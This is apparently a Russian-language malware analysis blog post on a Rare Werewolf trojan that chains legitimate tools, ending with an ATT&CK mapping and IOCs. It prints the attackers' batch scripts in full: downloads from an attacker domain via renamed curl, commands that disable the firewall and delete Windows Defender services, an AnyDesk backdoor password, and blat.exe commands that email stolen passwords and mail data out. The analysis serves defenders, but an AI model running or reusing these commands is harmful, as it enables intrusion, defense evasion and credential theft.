В мире кибербезопасности уже не первый год набирает популярность тактика «Living off the Land» (LOTL) — «живущие за счёт земли». Её суть заключается в том, чтобы максимально использовать легитимное программное обеспечение и встроенные функции операционной системы для достижения злонамеренных целей. Это позволяет злоумышленникам эффективно маскироваться на заражённой системе, ведь активность программ вроде curl.exe, AnyDesk.exe или установщика WinRAR редко вызывает подозрения у рядовых пользователей и даже у некоторых систем защиты.

Яркой иллюстрацией эффективности этого подхода стал троянец малоизвестной, но технически подкованной APT-группировки Librarian Ghouls (или Rare Werewolf). Целями их атак, судя по используемым инструментам, часто становятся организации из сферы образования и госсектора.

Их инструмент — это не одинокий вредоносный файл, а целый многоступенчатый конвейер, где на каждом этапе используются либо легальные утилиты, либо действия, имитирующие легитимные процессы. Результат — тихая компрометация с установкой бекдора (а иногда и майнера), кражей учётных данных и почтовых данных, и всё это — при минимальном наличии чисто вредоносного кода.

Давайте детально разберём эту цепочку заражения, чтобы наглядно увидеть, как безобидные, на первый взгляд, программы могут быть превращены в мощное оружие для целевой атаки.

Всем привет! Меня зовут Александр, я вирусный аналитик и реверс-инженер. Подписывайтесь на мой тг-канал.

Приступаем!

Предварительный анализ

Начинаем, по классике, с анализа входных данных или предварительного анализа. Этот этап один из самых важных (если не самый) в анализе вредоносного ПО. Почему этот этап нужен и, порой, позволяет обходиться без глубокого анализа дизассемблированного кода, можете почитать здесь.

Файл попал ко мне на вскрытие через песочницу Any.Run. Загрузим его оттуда.

Дисклеймер

Для скачивания файлов из Any.Run требуется аккаунт, зарегистрированный на корпоративную почту. Скачивание и запуск файла необходимо производить в изолированной среде.

Но перед тем, как начать смотреть файл в виртуальной машине, предлагаю исследовать детонацию этого сэмпла в песочнице. Просмотрев почти 20-ти минутную запись экрана, я увидел два последовательных запуска вредоносного процесса. Никакой разницы в активности вызываемых процессов в обоих случаях замечено не было. Формально, спан основного процесса можно разделить на 5 этапов:

  1. Распаковка, после которой песочница создаёт дамп процесса (DMP);

  2. Генерация файла find.cmd;

  3. Выполнение any.bat;

  4. Выполнение find.cmd;

  5. Выполнение bat.bat.

Давайте внимательнее посмотрим на каждый из этапов.

Этап 1. Распаковка

В ходе распаковки  мы замечаем появление 6 новых файлов

Служебные Файлы .tmp нас не интересуют так что остаются 4 файла: any.bat, pdf2.pdf, url.txt, find.exe.

Файл any.bat представляет собой небольшой скрипт:

echo %time%
echo>num.doc 2
ping -n 120 127.0.0.1 >nul
echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access

Скрипт выводит текущее время, создает файл num.doc и записывает в него число «2» (судя по всему, это число является идентификатором заражаемого образца), далее с помощью ping и передачи вывода в null приостанавливает выполнение скрипта на 119 секунд и устанавливает пароль AnyDesk для автономного доступа.

pdf2.pdf представляет собой документ, в котором содержится платежное поручение:

В ходе анализа этого файла вредоносных скриптов или макросов обнаружено не было – этот файл нужен сугубо для отвлечения внимания.

Файл url.txt представляет собой plain text файл, внутри которого содержится очередной IOC – winformation[.]ru. Это доменное имя злоумышленника, с которого далее он будет скачивать дополнительные инструменты.

Ну и наконец, PE-файл find.exe. Я не случайно написал просто «PE-файл» - дело в том, что это обычный curl.exe (вот анализ на Virustotal), то есть, очередной легитимный инструмент в арсенале злоумышленников. Но это ещё не всё!

Этап 2. Генерация файла find.cmd

Генерация файла find.cmd происходит путем создания множества процессов cmd.exe, причем, как видно из записи экрана, создание этих процессов происходит в «скрытом» окне (в разделе «За кулисами каскада» разберем подробнее как же так вышло).

Каждый вызов cmd.exe содержит единственную команду echo, тем самым он построчно дополняет вредоносный скрипт. Скопируем все команды из процессов, удалим ненужные строки и получим find.cmd в исходном виде:

cd C:\Users\Username\AppData\Roaming\Windows\
setlocal enabledelayedexpansion
set "file=C:\Users\Username\AppData\Roaming\Windows\url.txt"
set "content="
for /f "delims=" %%A in (%file%) do (
    set "content=!content! %%A"
)
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\bk.rar %content%/bk.jpg
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\driver.exe %content%/driver.jpg
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\bk.rar C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\pas.rar %content%/pas.jpg
start C:\Users\Username\AppData\Roaming\Windows\Trays\Trays.lnk
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar blat.exe C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar AnyDesk.exe C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar bat.bat C:\Users\Username\AppData\Roaming\Windows\ /y
del /q find.exe
netsh advfirewall set allprofiles state off
sc stop WinDefend
net stop MpsSvc
sc stop MpsSvc
sc delete MpsSvc
AnyDesk.exe --install C:\Users\Username\AppData\Roaming\Windows\AnyDesk

Этапы 3 и 4. Выполнение any.bat и find.cmd

Я решил совместить эти два этапа в один раздел статьи, поскольку выполнение any.bat и find.cmd происходит параллельно. В этом можно убедиться, посмотрев на время запуска этих процессов относительно старта главного:

Это означает, что во время остановки выполнения any.bat (как мы ранее разбирали, при помощи ping) начнет свое выполнение find.cmd.

Основные операции find.cmd :

  1. Загрузка дополнительных файлов:

    - winformation[.]ru/bk[.]jpg сохраняется как bk.rar;
    - winformation[.]ru/driver[.]jpg сохраняется как driver.exe;
    - winformation[.]ru/pas[.]jpg сохраняется как pas.rar.

  2. Распаковка и запуск утилиты 4t Tray Minimizer из архива bk.rar;

  3. Распаковка из pas.rar файлов blat.exe, AnyDesk.exe и bat.bat;

  4. Удаление find.exe;

  5. Выключение брандмауэра, остановка и удаление службы защитника Windows;

  6. Запуск инсталлятора AnyDesk.exe.

Таким образом, последняя команда из any.bat, выполняющая установку пароля для AnyDesk, сработает после завершение работы инсталлятора.

Как уже все заметили, у нас образовался целый квинтет из легитимных инструментов! По отдельности каждый из них абсолютно безобиден и решает сугубо практические задачи, но, будучи скомбинированными злоумышленником, они превращаются в мощный арсенал для скрытой компрометации системы.

Этап 5. Выполнение bat.bat

Финальным и самым важным этапом работы трояна является выполнение файла bat.bat. Если предыдущие этапы были подготовкой инфраструктуры, то этот скрипт содержит непосредственную логику атаки, направленную на компрометацию данных и обеспечение устойчивого доступа к системе.

Его работа начинается с подготовки: скрипт удаляет свой возможный предыдущий экземпляр из автозагрузки и с помощью серии команд powercfg меняет настройки электропитания, отключая спящий режим и гибернацию. Это классический прием для обеспечения постоянной работы майнеров или бэкдоров, чтобы система не "засыпала".

После 150-секундной паузы начинается основная часть. Сначала с помощью blat.exe на контролируемый злоумышленником ящик отправляется конфигурационный файл AnyDesk (system.conf), содержащий все данные для установления удаленного соединения:

C:\Users\admin\AppData\Roaming\Windows\blat.exe -to out@qoffice[.]site -f "Anydesk<out@qinformation[.]ru>" -server mail[.]qinformation[.]ru -port 587 -u out@qinformation[.]ru -pw gY0bG9kF5i -subject  "AnyDesk DESKTOP-JGLLJLD/2/admin" -body  "AnyDesk DESKTOP-JGLLJLD/admin" -attach "C:\ProgramData\AnyDesk\system.conf"

Затем из архива pas.rar последовательно извлекаются и запускаются инструменты (ну сколько можно!) для сбора данных: dc.exe, wbpv.exe и mlpv.exe, результаты работы которых сохраняются в текстовые файлы.

Эксфильтрация происходит путем последовательного обращения к SMTP-серверу злоумышленника. Формируется 2 письма для отправки паролей из браузера и данных из почтовых клиентов – файлы password.txt и email.txt, в которые записан результат работы wbpv.exe и mlpv.exe соответственно. Вот пример файла password.txt:

C:\Users\admin\AppData\Roaming\Windows\blat.exe  -to out@qoffice[.]site -f "(Password/Email)<out@qinformation[.]ru>" -server mail[.]qinformation[.]ru -port 587 -u out@qinformation[.]ru -pw gY0bG9kF5i -subject  "Password DESKTOP-JGLLJLD/2/admin" -body  "Password DESKTOP-JGLLJLD/admin" -attach "C:\Users\admin\AppData\Roaming\Windows\(password.txt/email.txt)"

Далее следует масштабная зачистка следов: удаляются временные и служебные файлы с предыдущих этапов, после чего собранные пароли и данные почтовых клиентов также отправляются злоумышленнику. Финализируется «обезвреживание» системы безопасности: добавляются правила в брандмауэр для порта AnyDesk, он полностью отключается, а службы Защитника Windows останавливаются и удаляются. В конце скрипт проводит тотальную зачистку, удаляя практически все свои компоненты, включая архивы, исполняемые файлы утилит и логи, оставляя на системе лишь установленный AnyDesk, и в итоге удаляет сам себя, что значительно усложняет последующий анализ.

Итог предварительного анализа

Проведенный анализ наглядно демонстрирует изощренность тактики Living off the Land. Перед нами не примитивный вирус, а тщательно спланированная многоэтапная операция. Злоумышленники мастерски используют легитимный софт в качестве строительных блоков для создания мощного инструмента вторжения, который эффективно обходит традиционные сигнатурные методы защиты.

Мы восстановили полный спан процессов этой атаки: от момента распаковки до финальной зачистки. Однако несколько ключевых вопросов остались без ответа:

  • Каким образом основной исполняемый файл инициирует весь этот каскад?

  • Как реализована скрытность при создании окон cmd.exe?

  • Как именно управление передается от распакованного бинарника к скриптам find.cmd и bat.bat?

Ответы на эти вопросы лежат глубже, на уровне ассемблерных инструкций и логики исполнения. Чтобы их найти, пора закатать рукава и перейти к реверс-инжинирингу основного файла.

За кулисами каскада: Реверс-инжиниринг основного загрузчика

Анализ двоичного файла в утилите DiE (Detect it Easy) показал, что файл является установщиком Smart Install Maker, написанным на Delphi. Его можно распаковать самостоятельно утилитой UniExtract с плагином sim unpacker. В итоге мы получим распакованные файлы any.bat, url.txt, find.exe, что не может не радовать. Также распакуется каталог «Дополнительные файлы», который содержит installer.config и runtime.cab. Они нужны для корректной работы установщика. Анализ строк конфигурационного файла показал, что именно там содержится основная логика работы вредоноса, но, к сожалению, документации по структуре этого файла найти не удалось. Поэтому перейдем к анализу в дизассемблере!

«Ядром» этого конвейера является функция ManageInstallerUIState (RVA 0x020704). Основная конструкция этой функции – switch case – это 11 этапов работы установщика, работающих в «скрытом» режиме (используются MainWindowHandle:0 и пустой MainWindowTitle):

case 0: Приветствие и инициализация
case 1: Лицензионное соглашение
case 2: Выбор типа установки
case 3: Выбор папки назначения
case 4: Выбор компонентов (дерево с зависимостями)
case 5: Дополнительные задачи (ярлыки, ассоциации)
case 6: Подтверждение параметров
case 7: Сводка установки
case 8: Выполнение
case 9: Настройка пост-установочных опций
case 10: Выполнение финальных действий

Самым важным, на мой взгляд, здесь является этап 8, поскольку он реализует основную логику выполнения вредоносных действий – функция ExecuteInstallationProcess (RVA 0x01FA58) Помимо этапов пре-установки, которые включают в себя системы инициализации, бэкапов, логирования, работы с реестром, установки шрифтов и файлов с библиотеками, здесь реализован механизм пост-установки – функция ExecudeCommandsByType(1u) (RVA 0x01E80C):

Этап динамически генерирует скрипт с помощью токенизации (ProcessTokenizedString RVA 0x1D480) и автоматически создает директории с помощью ExtractLastCharFromSet (RVA 0X5C8C) + CreateDirectoryRecursive (RVA 0X5CE4).

Теперь посмотрим, как генерируется  find.cmd. Для этого отследим вызов CreateProcessW после выполнения ShellExecuteExA:

Описание CreateProcessW

BOOL CreateProcessW(
  [in, optional]      LPCWSTR               lpApplicationName,
  [in, out, optional] LPWSTR                lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation );

В dwCreationFlags отсутствует флаг CREATE_NO_WINDOW, однако в структуре STARTUPINFO можно увидеть установленный флаг по смещению 0x30 wShowWindow в значение 0 (SW_HIDE). Отсюда и получаем «скрытый» запуск наших процессов:

Структура STARTUPINFO

00000000 struct _STARTUPINFOA // sizeof=0x44
00000000 {
00000000     DWORD cb;
00000004     LPSTR lpReserved;
00000008     LPSTR lpDesktop;
0000000C     LPSTR lpTitle;
00000010     DWORD dwX;
00000014     DWORD dwY;
00000018     DWORD dwXSize;
0000001C     DWORD dwYSize;
00000020     DWORD dwXCountChars;
00000024     DWORD dwYCountChars;
00000028     DWORD dwFillAttribute;
0000002C     DWORD dwFlags;
00000030     WORD wShowWindow;
00000032     WORD cbReserved2;
00000034     LPBYTE lpReserved2;
00000038     HANDLE hStdInput;
0000003C     HANDLE hStdOutput;
00000040     HANDLE hStdError;
00000044 };

Точно так же работает и механизм запуска остальных процессов и передачи потока управления.

Заключение

Проведенное расследование наглядно показывает, что современная киберугроза — это уже не просто зловредный файл, а сложная, многоэтапная операция. Группировка Rare Werewolf продемонстрировала высший пилотаж в использовании тактики Living off the Land, создав из легитимных, доверенных инструментов целый арсенал для тихого и эффективного вторжения.

Главная опасность таких атак заключается в их почти полной невидимости для традиционных средств защиты. Изученный пример — это не просто цепочка заражения, а отлаженный конвейер, где каждый этап, от социальной инженерии до финальной зачистки следов, работает как часы. Борьба с подобными угрозами требует смещения фокуса с поиска вредоносных сигнатур на анализ поведения и легитимных, но подозрительных связок процессов, потому что, как мы убедились, даже самый безобидный curl.exe или установщик могут стать ключом к полной компрометации системы.

Приложение

MITTRE ATT&CK

Тактика

Техника

Процедура

T-ID

Initial Access

User Execution — Malicious File

Запуск через замаскированный установщик/файл, запуск последующих скриптов

T1204.002

Execution

Command and Scripting Interpreter

Явное исполнение .cmd/.bat.

T1059

Persistence

Valid Accounts / Remote Services

Установка AnyDesk, установка unattended-пароля

T1078

Power Settings

Отключение сна/гибернации и изменение таймаутов

T1653

Defense Evasion

Disable or Modify System Firewall

netsh advfirewall set allprofiles state off и
Добавление правил open ports — прямое изменение конфигурации фаервола.

T1562.004

Masquerading / Rename Legitimate Files

Переименование легитимных файлов (winrar.exe → driver.exe; curl.exe → find.exe)

T1036.003

Disable or Modify Tools / Impair Defenses

Отключение/остановка Windows Defender, останов/удаление MpsSvc, отключение брандмауэра

T1562.001

Credential Access

Credential Dumping / Browser & Mail passwords collection

Запуск NirSoft-утилит

T1003

T1114

Collection

Archive / Gather configuration and files

Сбор system.conf AnyDesk, экспорт паролей/почты в текстовые файлы перед эксфильтрацией.

T1113

T1114

Exfiltration

Exfiltration over Email (SMTP)

Использование blat.exe для отправки собранных файлов (password/email/system.conf) на внешние почтовые адреса через SMTP (mail.qinformation.ru).

T1048

T1071.003

Command & Control

Use of Remote Services

AnyDesk установлен + unattended пароль → интерактивный удалённый доступ, используемый как канал управления.

T1078

Impact / Cleanup

Indicator Removal on Host / Artifact deletion

Множество del /q /f команд для удаления архивов, бинарей, логов, url.txt, start.bat и пр. — самоуничтожение следов.

T1070

IOCs:

Индикатор

Объект

da1f75d8606f719ea2d46e073bc908c6d8c378dface9f815fe2789fd75984669

yylclrq0.exe

582e6ece505463d0786a61c46b46ac543e8173bd4fcae894fd8eebb4f41c968f

any.bat

a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e

pdf2.pdf

c763038641c40ec2a8105cbafaacabde9c2f501fefd117fa46bedae848f8d3a2

url.txt

f835e15aceb0e995ead000641019aec2162f74d45c5732cee9e3c77d13fa038a

find.exe

145f54387d6457a71e0116a9dd2e11ad9b26e5eb2ec8db92be34c8c96b5eb6ba

find.cmd

45540346c5f1492f3d599dd5673e8f0d8646e4e3b0b8bfff4c041cd00e3b0b9d

bk.rar

bb243113d236f823abd1839025190e763fe34c40da4949b77558995cc1a07625

driver.exe

720f1e85807b8786e5601d348174b468e5fe45bd3066897227fb6f6dc4750225

pas.rar

e613d07619b28f896b4adf24d888cf52814fa2eb89f261f2e4715485954251b7

blat.exe

ac7f226bdf1c6750afa6a03da2b483eee2ef02cd9c2d6af71ea7c6a9a4eace2f

AnyDesk.exe

c26912a76a9fec48d4b454bcd11c03f734ec4b67ad94ced9e3fe425f28c00ead

bat.bat

ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4

dc.exe

bc7bd27e94e24a301edb3d3e7fad982225ac59430fc476bda4e1459faa1c1647

mlpv.exe

36541fad68e79cdedb965b1afcdc45385646611aa72903ddbe9d4d064d7bffb9

wbpv.exe

winformation[.]ru

С2 сервер

winformation[.]ru/bk[.]jpg

bk.rar

winformation[.]ru/driver[.]jpg

driver.exe

winformation[.]ru/pas[.]jpg

pas.rar

mail.qinformation[.]ru:587

SMTP сервер

out@qinformation[.]ru:

src. Email

out@qoffice[.]site:

dst. Email

Комментарии (0)